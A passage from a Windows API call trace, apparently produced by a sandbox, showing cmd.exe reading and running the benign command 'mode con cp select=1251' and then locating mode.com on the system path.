CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0042.664] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.664] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.664] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0042.664] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.664] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.664] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0042.664] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.664] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.664] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0042.664] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.664] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0042.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0042.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0042.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0042.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0042.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0042.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0042.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.665] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0042.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0042.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0042.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.668] GetFileType (hFile=0xe8) returned 0x3 [0042.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.668] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.668] GetFileType (hFile=0xf4) returned 0x3 [0042.668] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0042.668] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x25fab8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25fab8*=0x18, lpOverlapped=0x0) returned 1 [0042.668] GetProcessHeap () returned 0x3d0000 [0042.668] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4012) returned 0x3ecd20 [0042.668] GetProcessHeap () returned 0x3d0000 [0042.668] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd20 | out: hHeap=0x3d0000) returned 1 [0042.668] _wcsicmp (_String1="mode", _String2=")") returned 68 [0042.668] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0042.668] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0042.668] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0042.668] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0042.668] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0042.668] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0042.668] GetProcessHeap () returned 0x3d0000 [0042.668] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb0) returned 0x3e97e0 [0042.668] GetProcessHeap () returned 0x3d0000 [0042.668] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1a) returned 0x3e4610 [0042.669] GetProcessHeap () returned 0x3d0000 [0042.669] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x38) returned 0x3e6510 [0042.670] GetConsoleOutputCP () returned 0x1b5 [0042.670] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0abfe0 | out: lpCPInfo=0x4a0abfe0) returned 1 [0042.670] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0042.670] GetConsoleTitleW (in: lpConsoleTitle=0x25fa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0042.670] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0042.670] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0042.670] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0042.670] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0042.670] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0042.670] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0042.670] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0042.670] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0042.670] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0042.670] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0042.670] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0042.670] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0042.670] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0042.670] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0042.670] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0042.670] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0042.670] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0042.671] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0042.671] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0042.671] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0042.671] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0042.671] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0042.671] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0042.671] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0042.671] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0042.671] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0042.671] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0042.671] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0042.671] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0042.671] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0042.671] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0042.671] _wcsicmp (_String1="mode", _String2="START") returned -6 [0042.671] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0042.671] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0042.671] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0042.671] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0042.671] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0042.671] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0042.671] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0042.671] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0042.671] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0042.671] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0042.671] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0042.671] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0042.671] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0042.671] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0042.671] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0042.671] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0042.671] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0042.671] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0042.671] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0042.671] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0042.671] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0042.671] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0042.671] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0042.671] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0042.671] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0042.671] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0042.672] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0042.672] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0042.672] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0042.672] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0042.672] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0042.672] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0042.672] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0042.672] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0042.672] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0042.672] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0042.672] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0042.672] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0042.672] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0042.672] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0042.672] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0042.672] _wcsicmp (_String1="mode", _String2="START") returned -6 [0042.672] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0042.672] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0042.672] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0042.672] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0042.672] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0042.672] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0042.672] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0042.672] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0042.672] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0042.672] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0042.672] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0042.672] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0042.672] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0042.672] GetProcessHeap () returned 0x3d0000 [0042.672] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x218) returned 0x3d1ab0 [0042.672] GetProcessHeap () returned 0x3d0000 [0042.672] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x42) returned 0x3e98a0 [0042.673] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0042.673] GetProcessHeap () returned 0x3d0000 [0042.673] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x420) returned 0x3e9a80 [0042.673] SetErrorMode (uMode=0x0) returned 0x0 [0042.673] SetErrorMode (uMode=0x1) returned 0x0 [0042.673] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3e9a90, lpFilePart=0x25f300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x25f300*="Desktop") returned 0x25 [0042.673] SetErrorMode (uMode=0x0) returned 0x1 [0042.673] GetProcessHeap () returned 0x3d0000 [0042.673] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e9a80, Size=0x66) returned 0x3e9a80 [0042.673] GetProcessHeap () returned 0x3d0000 [0042.673] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9a80) returned 0x66 [0042.673] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0042.673] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0042.673] GetProcessHeap () returned 0x3d0000 [0042.673] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x128) returned 0x3d1cd0 [0042.673] GetProcessHeap () returned 0x3d0000 [0042.673] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x240) returned 0x3e9b00 [0042.678] GetProcessHeap () returned 0x3d0000 [0042.679] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e9b00, Size=0x12a) returned 0x3e9b00 [0042.679] GetProcessHeap () returned 0x3d0000 [0042.679] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9b00) returned 0x12a [0042.679] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0042.679] GetProcessHeap () returned 0x3d0000 [0042.679] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe8) returned 0x3e5b70 [0042.679] GetProcessHeap () returned 0x3d0000 [0042.679] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e5b70, Size=0x7e) returned 0x3e5b70 [0042.679] GetProcessHeap () returned 0x3d0000 [0042.679] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5b70) returned 0x7e [0042.680] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0042.680] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0xffffffffffffffff [0042.680] GetLastError () returned 0x2 [0042.680] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0xffffffffffffffff [0042.680] GetLastError () returned 0x2 [0042.680] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0042.680] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0x3e5c00 [0042.680] GetProcessHeap () returned 0x3d0000 [0042.680] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x28) returned 0x3e4640 [0042.680] FindClose (in: hFindFile=0x3e5c00 | out: hFindFile=0x3e5c00) returned 1 [0042.680] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0x3e5c00 [0042.681] GetProcessHeap () returned 0x3d0000 [0042.681] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e4640, Size=0x8) returned 0x3e98f0 